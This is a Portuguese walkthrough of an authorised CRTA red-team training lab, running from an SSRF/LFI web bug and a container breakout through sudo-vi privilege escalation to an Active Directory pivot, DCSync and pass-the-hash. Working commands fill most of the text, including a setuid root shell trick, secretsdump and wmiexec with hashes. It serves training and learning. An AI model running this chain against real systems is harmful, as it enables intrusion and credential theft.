August 8, 2026
CRTA - da Aplicação Web ao Domain Admin
Walkthrough de um laboratório de treino da CRTA (Certified Red Team Analyst, CyberWarFare Labs). Cadeia completa, web app, SSRF/LFI…

By Roger Zeferino
1 min read
Walkthrough de um laboratório de treino da CRTA (Certified Red Team Analyst, CyberWarFare Labs). Cadeia completa, web app, SSRF/LFI, container breakout, SSH, root, pivot AD, DCSync, secret.xml. Dados sensíveis mascarados, ambiente de lab autorizado.
Repositório com a versão completa, https://github.com/rogerzeferino/crta-lab-writeup
Escopo
[CODE BLOCK]
172.26.10.0/24 (.1 out of scope)
Objetivo, recuperar secret.xml no DC (ent.corp)
[/CODE BLOCK]
Recon
[CODE BLOCK]
nmap -sn 172.26.10.0/24 # host discovery -> 172.26.10.11
nmap -Pn -p- -sV -sC -T4 172.26.10.11 # full port scan
[/CODE BLOCK]
[CODE BLOCK]
22/tcp ssh OpenSSH 9.6p1
8091/tcp http Node.js Express (HotHost)
23100/tcp http Werkzeug/Flask
[/CODE BLOCK]
Portas 8091 e 23100 fora do top 100. Full scan (-p-) foi necessário.
Enum web
HotHost (8091) é SPA React, retorna 200 com tamanho fixo pra qualquer rota. Fuzzing com filtro de tamanho.
[CODE BLOCK]
gobuster dir -u http://172.26.10.11:8091 -w raft-medium-directories.txt — exclude-length 2759 -t 50
-> /assets
[/CODE BLOCK]
Flask (23100) na raiz retorna.
[CODE BLOCK]
Only the /fetch route with 'url' parameter is allowed.
Example: /fetch?url=https://app.notion.com, To Access Host files go with 'hostfs' path
[/CODE BLOCK]
SSRF/LFI.
SSRF / LFI / container breakout
[CODE BLOCK]
curl -s "http://172.26.10.11:23100/fetch?url=file:///hostfs/etc/passwd"
[/CODE BLOCK]
O container roda com -v /:/hostfs:ro (raiz do host montada). Leitura do host inteiro a partir da app. No passwd, credencial no campo GECOS.
[CODE BLOCK]
app-admin:x:1000:1000:@dmin@123:/home/app-admin:/bin/bash
[/CODE BLOCK]
Outros achados via LFI e código-fonte, rota /pug expondo secretToken, auth usando jwt.decode() (não valida assinatura), HOTHOST_WEB_ADMIN_PASSWORD na env do container, e db-pass em /assets/dummy.css.
Acesso inicial + privesc
[CODE BLOCK]
ssh app-admin@172.26.10.11 # @dmin@123
sudo -l # (ALL) /usr/bin/vi
sudo /usr/bin/vi -c ':!cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash' -c ':q!'
/tmp/rootbash -p # euid=0
[/CODE BLOCK]
Pivot AD
[CODE BLOCK]
grep -rhoE "10.[0–9]+.[0–9]+.[0–9]+" /var/log/ | sort -u # -> 10.10.10.20
curl -sI http://10.10.10.20 # Apache/2.4.58
curl -s http://10.10.10.20/elfinder/files/AD_Resources.txt # creds sync_user
[/CODE BLOCK]
DC localizado por Kerberos.
[CODE BLOCK]
nmap -Pn -p 53,88,135,139,389,445,464,636,3268,3269 10.10.10.100 — open
DC = 10.10.10.100 / ent.corp / ENT-DC
[/CODE BLOCK]
DCSync + objetivo
[CODE BLOCK]
impacket-secretsdump ent.corp/sync_user:'[REDACTED]'@10.10.10.100
krbtgt:502:…:36405f88…:::
Administrator:500:…:3d15cb…:::
impacket-wmiexec -hashes :3d15cb…e316 Administrator@10.10.10.100
type "C:UsersAdministratorDesktopsecret.xml.txt"
[/CODE BLOCK]
secret.xml estava como .txt. Objetivo capturado.
Notas
Full scan -p- sempre. Mensagem de erro da app entregou o vetor. Montar -v /:/hostfs é breakout de container. sudo vi é GTFOBins privesc. Conta de sync de AD com replicação permite DCSync.
O impulso de complicar foi o que mais custou tempo. Duas respostas estavam expostas publicamente e eram simples. Testar o óbvio antes do sofisticado economiza horas.
Write-up técnico completo no GitHub, https://github.com/rogerzeferino/crta-lab-writeup